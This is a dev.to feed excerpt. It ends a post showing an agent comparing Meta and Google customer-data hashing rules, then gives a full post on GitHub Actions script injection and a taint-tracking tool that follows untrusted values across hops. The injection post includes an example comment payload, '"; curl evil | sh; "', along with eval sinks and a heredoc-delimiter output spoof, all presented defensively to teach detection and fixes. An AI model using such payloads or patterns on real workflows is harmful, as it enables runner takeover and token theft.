| Lead ID | `lead_id` | integer | **Do not hash** |

All hashed values use SHA-256. [1]

## Normalization rules per field

### `em` — Email
Trim leading and trailing spaces. Convert all characters to lowercase. [1]

- Input: `John_Smith@gmail.com` → Normalized: `john_smith@gmail.com` → SHA-256: `62a14e44f765419d10fea99367361a727c12365e2520f32218d505ed9aa0f62f`

### `ph` — Phone Number
Remove symbols, letters, and any leading zeros. Always include the country code, even when all data is from the same country. [1]

- Input: `(650)555-1212` (US) → Normalized: `16505551212` → SHA-256: `e323ec626319ca94ee8bff2e4c87cf613be6ea19919ed1364124e16807ab3176`

### `fn` / `ln` — First Name / Last Name
Roman alphabet a–z characters recommended. Lowercase only, no punctuation. Special characters must be UTF-8 encoded (do not transliterate). [1]

- `Mary` → `mary` → SHA-256: `6915771be1c5aa0c886870b6951b03d7eafc121fea0e80a5ea83beb7c449f4ec`
- `정` → UTF-8 character `정` → SHA-256: `8fa8cd9c440be61d0151429310034083132b35975c4bea67fdd74158eb51db14`
- `Valéry` → `valéry` → SHA-256: `08e1996b5dd49e62a4b4c010d44e4345592a863bb9f8e3976219bac29417149c`

Last name (`ln`) follows identical rules; see `fn` examples above.

### `db` — Date of Birth
Use YYYYMMDD format (with or without punctuation). Year: 1900–current; Month: 01–12; Day: 01–31. [1]

- Input: `2/16/1997` → Normalized: `19970216` → SHA-256: `01acdbf6ec7b4f478a225f1a246e5d6767eeab1a7ffa17f025265b5b94f40f0c`

### `ge` — Gender
Lowercase initial only: `f` for female, `m` for male. [1]

### `ct` — City
Lowercase, no punctuation, no special characters, no spaces. Special characters must be UTF-8 encoded. [1]

- Examples: `paris`, `london`, `newyork`

### `st` — State
2-character ANSI abbreviation code, lowercase for U.S. states. States outside the U.S.: lowercase, no punctuation, no special characters, no spaces. [1]

- Examples: `az`, `ca`

### `zp` — Zip Code
Lowercase, no spaces, no dash. U.S.: first 5 digits only. UK: area, district, and sector format. [1]

- U.S. zip code: `94035`
- Australia zip code: `1987`
- France zip code: `75018`
- UK zip code: `m11ae`

### `country` — Country
Lowercase 2-letter ISO 3166-1 alpha-2 code. Always include country even if all data is from one country — Meta matches on a global scale. [1]

- Input: `United States` → Normalized: `us` → SHA-256: `79adb2a2fce5c6ba215fe5f27f532d4e7edbac4b6a5e09e1ef3a08084a904621`

### `external_id` — External ID
Any unique advertiser ID (loyalty membership ID, user ID, external cookie ID). Hashing is recommended but not required. You can send one or more external IDs per event. If the same external ID is sent via other channels, it must be in the same format as in the Conversions API. [1]

## Do-not-hash parameters

### `client_ip_address`
Must be a valid IPv4 or IPv6 address. IPv6 is preferable for IPv6-enabled users. Never hash. No spaces. Always provide the real IP address. Must be configured manually for server-sent events (browsers add it automatically). [1]

- IPv4 example: `168.212.226.204`
- IPv6 example: `2001:0db8:85a3:0000:0000:8a2e:0370:7334`

### `client_user_agent`
Required for all website events sent via the Conversions API. Sending both `client_ip_address` and `client_user_agent` can improve event matching and ad delivery. Must be configured manually for server-sent events. [1]

### `fbc` — Click ID
Stored in the `_fbc` browser cookie. Format: `fb.${subdomain_index}.${creation_time}.${fbclid}`. Do not hash. [1]

- Example: `fb.1.1554763741205.AbCdEfGhIjKlMnOpQrStUvWxYz1234567890`

### `fbp` — Browser ID
Stored in the `_fbp` browser cookie. Format: `fb.${subdomain_index}.${creation_time}.${random_number}`. Do not hash. [1]

- Example: `fb.1.1596403881668.1116446470`

### `lead_id`
Integer ID associated with a lead generated by Meta Lead Ads. Do not hash. [1]

## Sources

1. meta-capi-customer-information-parameters.md — File
&lt;/code&gt;&lt;/pre&gt;
                    &lt;/div&gt;
                &lt;/div&gt;
              &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;

      &lt;div class="agent-session-message agent-session-assistant"&gt;
        &lt;div class="agent-session-role-badge agent-session-role-assistant"&gt;
          Agent
        &lt;/div&gt;
        &lt;div class="agent-session-content"&gt;
                &lt;div&gt;
                  &lt;div class="agent-session-text agent-session-text-collapse"&gt;
                    &lt;h2&gt;Code and documentation disagree, undeclared&lt;/h2&gt;

&lt;p&gt;None found. I compared all 14 implemented rules against both knowledge base entries and their &lt;code&gt;docQuote&lt;/code&gt; text.&lt;/p&gt;

&lt;h2&gt;Entry and quote disagree&lt;/h2&gt;

&lt;p&gt;Each of these needs someone to read the source page. From here I can't tell whether the page changed or the entry lost or added a detail.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Meta &lt;code&gt;ct&lt;/code&gt; (city):&lt;/strong&gt; [normalization_and_hashing/meta] says "Lowercase, no punctuation, no special characters, no spaces. Special characters must be UTF-8 encoded." &lt;code&gt;docQuote&lt;/code&gt; starts with "Hashing required. Using Roman alphabet a-z characters is recommended." The entry drops the Roman-alphabet recommendation for city. Source: &lt;a href="https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters" rel="noopener noreferrer"&gt;https://developers.facebook.com/docs/marketing-api/conversions-api/parameters/customer-information-parameters&lt;/a&gt; [rule: meta/city]&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Meta &lt;code&gt;fn&lt;/code&gt;/&lt;code&gt;ln&lt;/code&gt; (names):&lt;/strong&gt; [normalization_and_hashing/meta] adds "(do not transliterate)". &lt;code&gt;docQuote&lt;/code&gt; says only "If using special characters, the text must be encoded in UTF-8 format." Same source page. [rule: meta/first_name] [rule: meta/last_name]&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Google &lt;code&gt;administrative_area&lt;/code&gt; (state):&lt;/strong&gt; [normalization_and_hashing/google] says "&lt;code&gt;address_line&lt;/code&gt; and &lt;code&gt;city&lt;/code&gt; are used only for Google Analytics connections". &lt;code&gt;docQuote&lt;/code&gt; says the state field is also "Used only for Google Analytics". The entry doesn't list state. Source: &lt;a href="https://developers.google.com/data-manager/api/devguides/concepts/formatting" rel="noopener noreferrer"&gt;https://developers.google.com/data-manager/api/devguides/concepts/formatting&lt;/a&gt; [rule: google/state]&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Google source attribution:&lt;/strong&gt; the entry cites the Google Ads API pages as sources [1][2] for the rules. The Data Manager formatting page, which &lt;code&gt;docQuote&lt;/code&gt; uses, is listed only as source 3, and no rule is tied to it. Check which page each rule comes from.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Declared divergences&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Global:&lt;/strong&gt; invisible characters and non-ASCII whitespace (U+00A0, U+200B, U+3000 and the like) are refused in every field.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Global:&lt;/strong&gt; a phone number without a country code is completed from the record's country or &lt;code&gt;default_region&lt;/code&gt;, for US, CA, GB, AU, BR and DE only.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Google phone:&lt;/strong&gt; letters go to &lt;code&gt;needs_review&lt;/code&gt; instead of being stripped. Fewer than 8 digits after &lt;code&gt;+&lt;/code&gt; is refused. [rule: google/phone]&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Google &lt;code&gt;first_name&lt;/code&gt;/&lt;code&gt;last_name&lt;/code&gt;:&lt;/strong&gt; prefixes and suffixes ("Mrs.", "Jr.") are not removed, so the source system has to split them out. [rule: google/first_name] [rule: google/last_name]&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Meta email:&lt;/strong&gt; whitespace inside the address is removed, not only trimmed. [rule: meta/email]&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Meta phone:&lt;/strong&gt; letters are refused instead of removed. Fewer than 8 digits is refused. "Leading zeros" is applied only to the &lt;code&gt;00&lt;/code&gt; prefix and to a trunk 0 for GB, AU and DE. [rule: meta/phone]&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Meta &lt;code&gt;fn&lt;/code&gt;/&lt;code&gt;ln&lt;/code&gt;:&lt;/strong&gt; inner spaces and symbols (category S) are removed. [rule: meta/first_name] [rule: meta/last_name]&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Meta &lt;code&gt;st&lt;/code&gt;:&lt;/strong&gt; a full US state name is not abbreviated. [rule: meta/state]&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Meta &lt;code&gt;zp&lt;/code&gt;:&lt;/strong&gt; with no region, a value shaped like a ZIP+4 is &lt;code&gt;needs_review&lt;/code&gt;. For the UK the code follows the &lt;code&gt;m11ae&lt;/code&gt; example, not the prose. [rule: meta/postal_code]&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Meta country:&lt;/strong&gt; names are refused, so the "United States" → &lt;code&gt;us&lt;/code&gt; example is deliberately not reproduced. [rule: meta/country]&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Agrees&lt;/h2&gt;

&lt;p&gt;Google &lt;code&gt;email&lt;/code&gt;, &lt;code&gt;country&lt;/code&gt; (&lt;code&gt;region_code&lt;/code&gt;) and &lt;code&gt;postal_code&lt;/code&gt;. Meta &lt;code&gt;city&lt;/code&gt;, apart from the entry-vs-quote note above.&lt;/p&gt;

&lt;h2&gt;Not implemented&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Google &lt;code&gt;city&lt;/code&gt;:&lt;/strong&gt; [normalization_and_hashing/google] says lowercase, remove symbol characters, trim whitespace, do not hash. The tool returns &lt;code&gt;not_implemented&lt;/code&gt;. [rule: google/city]&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Google &lt;code&gt;state&lt;/code&gt; (&lt;code&gt;administrative_area&lt;/code&gt;):&lt;/strong&gt; [normalization_and_hashing/google] says lowercase, use the two-letter abbreviation or the full name, remove symbol characters, trim whitespace, do not hash. The tool returns &lt;code&gt;not_implemented&lt;/code&gt;. [rule: google/state]&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;Not in the rule table&lt;/h2&gt;

&lt;p&gt;The dataset has no rule for these fields, and the tool's field list doesn't include them either. The knowledge base documents them:&lt;br&gt;
- &lt;strong&gt;Google &lt;code&gt;address_line&lt;/code&gt;:&lt;/strong&gt; lowercase, remove symbol characters, trim whitespace, hash with SHA-256. [normalization_and_hashing/google]&lt;br&gt;
- &lt;strong&gt;Meta &lt;code&gt;db&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;YYYYMMDD&lt;/code&gt; format. [normalization_and_hashing/meta]&lt;br&gt;
- &lt;strong&gt;Meta &lt;code&gt;ge&lt;/code&gt;:&lt;/strong&gt; &lt;code&gt;f&lt;/code&gt; or &lt;code&gt;m&lt;/code&gt;. [normalization_and_hashing/meta]&lt;br&gt;
- &lt;strong&gt;Meta &lt;code&gt;external_id&lt;/code&gt;:&lt;/strong&gt; hashing is recommended, not required. [normalization_and_hashing/meta]&lt;/p&gt;

                  &lt;/div&gt;
                  Show more
                &lt;/div&gt;
        &lt;/div&gt;
      &lt;/div&gt;
  &lt;/div&gt;

  &lt;div class="agent-session-footer"&gt;
    &lt;span class="agent-session-meta"&gt;
        6 of 6 messages
    &lt;/span&gt;
  &lt;/div&gt;
&lt;/div&gt;


</description>
      <category>devchallenge</category>
      <category>sanitychallenge</category>
      <category>sanity</category>
      <category>ai</category>
    </item>
    <item>
      <title>An injection that moved is not an injection that was fixed</title>
      <dc:creator>Vinicius Pereira</dc:creator>
      <pubDate>Tue, 22 Sep 2026 23:52:15 +0000</pubDate>
      <link>https://dev.to/vinimabreu/an-injection-that-moved-is-not-an-injection-that-was-fixed-2oeo</link>
      <guid>https://dev.to/vinimabreu/an-injection-that-moved-is-not-an-injection-that-was-fixed-2oeo</guid>
      <description>&lt;p&gt;Every guide to GitHub Actions script injection ends with the same fix. You have this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;helper-cli --prompt "${{ github.event.comment.body }}"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;and the runner expands the expression into the script before bash ever sees it, so a comment containing &lt;code&gt;"; curl evil | sh; "&lt;/code&gt; runs on your runner with your token. The fix is to move the value into an environment variable:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;BODY&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.comment.body }}&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;helper-cli --prompt "$BODY"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now bash expands &lt;code&gt;$BODY&lt;/code&gt; at runtime, as a value, and the quotes hold. Every scanner that looks for &lt;code&gt;${{ }}&lt;/code&gt; inside &lt;code&gt;run:&lt;/code&gt; blocks stops reporting the line. The pull request gets merged with "fixed template injection" in the title.&lt;/p&gt;

&lt;p&gt;I spent a day this month verifying one of those fixes by hand, for a finding I had reported and cannot name yet because it is still in coordinated disclosure. The maintainer's fix moved the value into &lt;code&gt;env:&lt;/code&gt;, then passed it through &lt;code&gt;with:&lt;/code&gt; into a composite action. The scanner was satisfied. I was not, because nothing about the move says what happens to the value next. So I followed it: &lt;code&gt;env:&lt;/code&gt; in the workflow, &lt;code&gt;with:&lt;/code&gt; into the action, &lt;code&gt;env:&lt;/code&gt; again inside the action, a shell script that only delegates, a Node wrapper, and finally a &lt;code&gt;spawn()&lt;/code&gt; call with &lt;code&gt;shell: false&lt;/code&gt; and the value as one element of an argv array. Seven hops. At the end of hop seven the value is a value and the injection is dead.&lt;/p&gt;

&lt;p&gt;It could just as easily have been alive. If the shell script had done &lt;code&gt;eval "$HELPER_PROMPT"&lt;/code&gt;, or the Node wrapper had done &lt;code&gt;execSync(\&lt;/code&gt;helper-cli --prompt ${prompt}&lt;code&gt;)&lt;/code&gt;, the same fix would have shipped with the same commit title, and the same scanner would have stayed quiet.&lt;/p&gt;

&lt;p&gt;That is the gap I wrote &lt;a href="https://github.com/vinimabreu/taint-trail" rel="noopener noreferrer"&gt;taint-trail&lt;/a&gt; to close.&lt;/p&gt;

&lt;h2&gt;
  
  
  What the existing scanner does, and where it stops
&lt;/h2&gt;

&lt;p&gt;If you run one tool on your workflows, run &lt;a href="https://github.com/zizmorcore/zizmor" rel="noopener noreferrer"&gt;zizmor&lt;/a&gt;. It audits for template injection, dangerous triggers, unpinned actions, cache poisoning, permissions and a long list of other things, and it is fast and well maintained. This is not a replacement for it.&lt;/p&gt;

&lt;p&gt;zizmor's injection check works on the shape of the text: an untrusted expression inside a script is a finding. That check is exactly right for the "before" of every fix, and it is why the fix everyone applies is "get the expression out of the script". Once the expression is in &lt;code&gt;env:&lt;/code&gt;, the shape is gone and the check has nothing to say. It does not follow the variable, because that was never its job.&lt;/p&gt;

&lt;p&gt;taint-trail starts where that check ends. It keeps the classic &lt;code&gt;run:&lt;/code&gt; check, so the "before" is still caught, and spends the rest of its effort on the "after".&lt;/p&gt;

&lt;h2&gt;
  
  
  What the after looks like
&lt;/h2&gt;

&lt;p&gt;Same fixture as the real case, with invented names. Before the fix:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ taint-trail tests/fixtures/workflows/direct_run_injection.yml
github.event.comment.body  [untrusted]  tests/fixtures/workflows/direct_run_injection.yml / job helper
  tests/fixtures/workflows/direct_run_injection.yml:11  run  (${{ github.event.comment.body }} interpolated into the script)
  SHELL: expression expanded into the shell script before it runs (the classic injection)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fix that moved the value into &lt;code&gt;env:&lt;/code&gt; and then did the one thing you must not do with it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ taint-trail tests/fixtures/workflows/moved_not_fixed.yml
github.event.comment.body  [untrusted]  tests/fixtures/workflows/moved_not_fixed.yml / job helper
  tests/fixtures/workflows/moved_not_fixed.yml:12  env BODY
  tests/fixtures/workflows/moved_not_fixed.yml:15  run  (eval "$BODY")
  SHELL: eval re-parses the value as shell
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the fix that actually worked, followed into the action it calls:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ taint-trail --actions-dir tests/fixtures/actions tests/fixtures/workflows/moved_and_died.yml
github.event.comment.body  [untrusted]  tests/fixtures/workflows/moved_and_died.yml / job helper
  tests/fixtures/workflows/moved_and_died.yml:13  env BODY
  tests/fixtures/workflows/moved_and_died.yml:16  with prompt  (env.BODY -&amp;gt; example/helper-action@v1)
  tests/fixtures/actions/example/helper-action/v1/action.yml:4  inputs.prompt
  tests/fixtures/actions/example/helper-action/v1/action.yml:19  env HELPER_PROMPT  (inputs.prompt)
  tests/fixtures/actions/example/helper-action/v1/action.yml:21  run  (bash "$GITHUB_ACTION_PATH/scripts/run-helper.sh")
  tests/fixtures/actions/example/helper-action/v1/scripts/run-helper.sh:4  script run-helper.sh  (exec node "$DIR/../dist/index.js")
  tests/fixtures/actions/example/helper-action/v1/dist/index.js:4  process.env.HELPER_PROMPT
  DIES (heuristic): argv array via spawn( at tests/fixtures/actions/example/helper-action/v1/dist/index.js:7; no shell: true, no exec(, no execSync(
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Every hop is a file and a line where the value changed hands. That format is not decoration. When I sent the maintainer my verification, what I sent was not "I think it is safe now". It was the list of hops with the line numbers, so they could read each one themselves. A verdict without the chain is an opinion. A verdict with the chain is a reading assignment.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6uur1up0ogepuog0aim1.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F6uur1up0ogepuog0aim1.gif" alt="A comment body moved into env: and handed to a composite action, followed hop by hop to a spawn with no shell, then the same move ending in eval" width="720" height="405"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Five endings, and one of them is "I do not know"
&lt;/h2&gt;

&lt;p&gt;A chain ends in one of five ways:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;SHELL&lt;/code&gt;: the value is re-parsed as code. The expression expanded into the script, or the variable reached &lt;code&gt;eval&lt;/code&gt;, &lt;code&gt;bash -c&lt;/code&gt;, &lt;code&gt;source&lt;/code&gt;, &lt;code&gt;xargs&lt;/code&gt;, a pipe into &lt;code&gt;sh&lt;/code&gt;, an interpreter's &lt;code&gt;-c&lt;/code&gt;/&lt;code&gt;-e&lt;/code&gt; string, an interpreter's standard input, or the command position of a line. Exit 1.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SPOOF&lt;/code&gt;: the value is written to &lt;code&gt;$GITHUB_OUTPUT&lt;/code&gt; or &lt;code&gt;$GITHUB_ENV&lt;/code&gt; in a way that lets it add keys. More on this below. Exit 1.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SUSPECT (heuristic)&lt;/code&gt;: a JavaScript action looks like it builds a command string with the value. Pattern match, not parsing, and the output says so.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;DIES&lt;/code&gt;: the value ended as a value. Quoted into an argument, echoed, one element of an argv array, written to the output file under a random delimiter.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;UNKNOWN: &amp;lt;reason&amp;gt;&lt;/code&gt;: the tool could not follow and refuses to guess.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The last one took the most discipline to keep. The temptation in a tool like this is to make UNKNOWN disappear, because a report full of UNKNOWNs feels like a tool that does not work. But the alternatives are worse. Marking an unreadable action as DIES is a lie that hides an injection; marking it as SHELL is a lie that trains people to ignore the tool. So UNKNOWN is a first-class verdict and the reason is always concrete: the action is not vendored locally, it is a docker action so the arguments reach an entrypoint the tool does not read, the JavaScript matched no pattern, the step's shell is &lt;code&gt;pwsh&lt;/code&gt; or &lt;code&gt;python&lt;/code&gt;, the heredoc delimiter could not be proven random, the file it would open resolves outside its root.&lt;/p&gt;

&lt;p&gt;Take the composite action out of the local directory and the seven-hop chain above becomes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;  UNKNOWN: action example/helper-action@v1 not available locally (vendor it under --actions-dir as owner/repo/ref/action.yml, or run with --fetch)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It tells you where it stopped and what would let it continue. That is the whole contract.&lt;/p&gt;

&lt;h2&gt;
  
  
  The spoof nobody is looking for
&lt;/h2&gt;

&lt;p&gt;The second verdict comes from a pattern that is everywhere in workflows, and no template check will ever flag it, because there is no template in it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;id&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;parse&lt;/span&gt;
  &lt;span class="na"&gt;env&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;BODY&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;${{ github.event.issue.body }}&lt;/span&gt;
  &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;|&lt;/span&gt;
    &lt;span class="s"&gt;{&lt;/span&gt;
      &lt;span class="s"&gt;echo "body&amp;lt;&amp;lt;EOF"&lt;/span&gt;
      &lt;span class="s"&gt;echo "$BODY"&lt;/span&gt;
      &lt;span class="s"&gt;echo "EOF"&lt;/span&gt;
    &lt;span class="s"&gt;} &amp;gt;&amp;gt; "$GITHUB_OUTPUT"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;There is no expression in the script. The variable is only echoed. Every template-injection check passes. And an issue whose body contains a line that says &lt;code&gt;EOF&lt;/code&gt; closes the heredoc early, so every line after it is parsed by the runner as a new &lt;code&gt;key=value&lt;/code&gt; pair. The attacker now sets step outputs that the next step reads as &lt;code&gt;${{ steps.parse.outputs.anything }}&lt;/code&gt;, and if that next step interpolates one of those outputs into a &lt;code&gt;run:&lt;/code&gt; block, the next step is the classic injection again, one hop later. The one-line form &lt;code&gt;echo "body=$BODY" &amp;gt;&amp;gt; "$GITHUB_OUTPUT"&lt;/code&gt; has the same problem with a plain newline.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ taint-trail tests/fixtures/workflows/spoof_static_delimiter.yml
github.event.issue.body  [untrusted]  tests/fixtures/workflows/spoof_static_delimiter.yml / job triage
  tests/fixtures/workflows/spoof_static_delimiter.yml:11  env BODY
  tests/fixtures/workflows/spoof_static_delimiter.yml:15  run  (echo "$BODY")
  SPOOF: written to $GITHUB_OUTPUT inside a heredoc block whose delimiter 'EOF' is static; a value containing that line closes the block early and the rest is parsed as new keys
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The fix is the one GitHub documents, a delimiter the attacker cannot predict:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="s"&gt;delimiter="$(openssl rand -hex 16)"&lt;/span&gt;
&lt;span class="pi"&gt;{&lt;/span&gt;
  &lt;span class="nv"&gt;echo "body&amp;lt;&amp;lt;$&lt;/span&gt;&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;delimiter&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
  &lt;span class="s"&gt;echo&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$BODY"&lt;/span&gt;
  &lt;span class="nv"&gt;echo "$&lt;/span&gt;&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="nv"&gt;delimiter&lt;/span&gt;&lt;span class="pi"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="s"&gt;}&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$GITHUB_OUTPUT"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which the tool reports as &lt;code&gt;DIES: written to $GITHUB_OUTPUT under a random heredoc delimiter&lt;/code&gt;. A delimiter built from &lt;code&gt;$$&lt;/code&gt; or the clock is not proven random, so that one ends as UNKNOWN rather than DIES, on purpose.&lt;/p&gt;

&lt;p&gt;Recognising this block turned out to be most of the shell-matching work in the project. Bash lets you write that group forty different ways: one line, opening brace with content on the same line, closing brace on the last body line, nested in a subshell, after &lt;code&gt;&amp;amp;&amp;amp;&lt;/code&gt;, inside an &lt;code&gt;if&lt;/code&gt;, inside a &lt;code&gt;for&lt;/code&gt; whose &lt;code&gt;done&lt;/code&gt; carries the redirect, closing with a &lt;code&gt;\&lt;/code&gt; continuation. The test suite has 42 fixture layouts of the group and each one has to end in SPOOF. I found most of them the hard way, by attacking the matcher after each round and adding the shape that got through.&lt;/p&gt;

&lt;h2&gt;
  
  
  Outputs are tainted as a set, on purpose
&lt;/h2&gt;

&lt;p&gt;There is one place where the tool deliberately over-reports, and I want to be explicit about it because it is a design choice, not a bug.&lt;/p&gt;

&lt;p&gt;When a step has a tainted variable in its environment and its script writes to &lt;code&gt;$GITHUB_OUTPUT&lt;/code&gt;, the tool taints every output of that step. It does not try to prove which keys the script wrote. Same for a JavaScript action that received a tainted input: every output it declares is tainted, and so is every output it did not declare, because &lt;code&gt;core.setOutput&lt;/code&gt; can set a name the manifest never mentions.&lt;/p&gt;

&lt;p&gt;Proving which output got the value would need a real dataflow analysis of bash and JavaScript, and a wrong answer there would be silent. Over-approximating means a few more chains to read and zero chains that were hidden. The hop says &lt;code&gt;over-approximation&lt;/code&gt; so nobody mistakes it for a proof.&lt;/p&gt;

&lt;h2&gt;
  
  
  What it does not do
&lt;/h2&gt;

&lt;p&gt;The README has a section called "Limits, stated plainly" and I will repeat the important ones here, because a security tool that does not state its limits is asking you to trust it, and I would rather you read it.&lt;/p&gt;

&lt;p&gt;Bash is matched by pattern, not parsed. &lt;code&gt;bash -c 'tool "$1"' _ "$VAR"&lt;/code&gt; is a safe idiom and the tool reports it as SHELL anyway, because it sees &lt;code&gt;bash -c&lt;/code&gt; and the variable on the same line. Read the line the chain points at.&lt;/p&gt;

&lt;p&gt;JavaScript is a heuristic, and every verdict from it carries the word. There is no dataflow analysis. A bundled action whose &lt;code&gt;getInput('x')&lt;/code&gt; string survived bundling is matched; one that renamed it is UNKNOWN.&lt;/p&gt;

&lt;p&gt;Docker actions are opaque. Reusable workflows are followed one level. Secrets are trusted by definition. The only untrusted source is a &lt;code&gt;${{ }}&lt;/code&gt; expression, so a value read inside &lt;code&gt;github-script&lt;/code&gt; through &lt;code&gt;context.payload&lt;/code&gt; starts no chain.&lt;/p&gt;

&lt;p&gt;And a handful of shell shapes are simply not matched: command substitution in command position, &lt;code&gt;set -- $V&lt;/code&gt; followed by &lt;code&gt;"$@"&lt;/code&gt;, &lt;code&gt;awk&lt;/code&gt; with &lt;code&gt;system()&lt;/code&gt;, &lt;code&gt;eval&lt;/code&gt; reached through a variable. Every one of these has a fixture in the repository named &lt;code&gt;gap_*.yml&lt;/code&gt; that pins the current behaviour, one fixture per line in that README section, and the suite pins the count. Adding a pattern means deleting a fixture and its line. That rule is what let me stop: the README promises exactly what the code does, no more.&lt;/p&gt;

&lt;h2&gt;
  
  
  Running it
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nb"&gt;.&lt;/span&gt;
taint-trail .github/workflows
taint-trail .github/workflows &lt;span class="nt"&gt;--actions-dir&lt;/span&gt; ./vendored-actions &lt;span class="nt"&gt;--strict&lt;/span&gt; &lt;span class="nt"&gt;--json&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



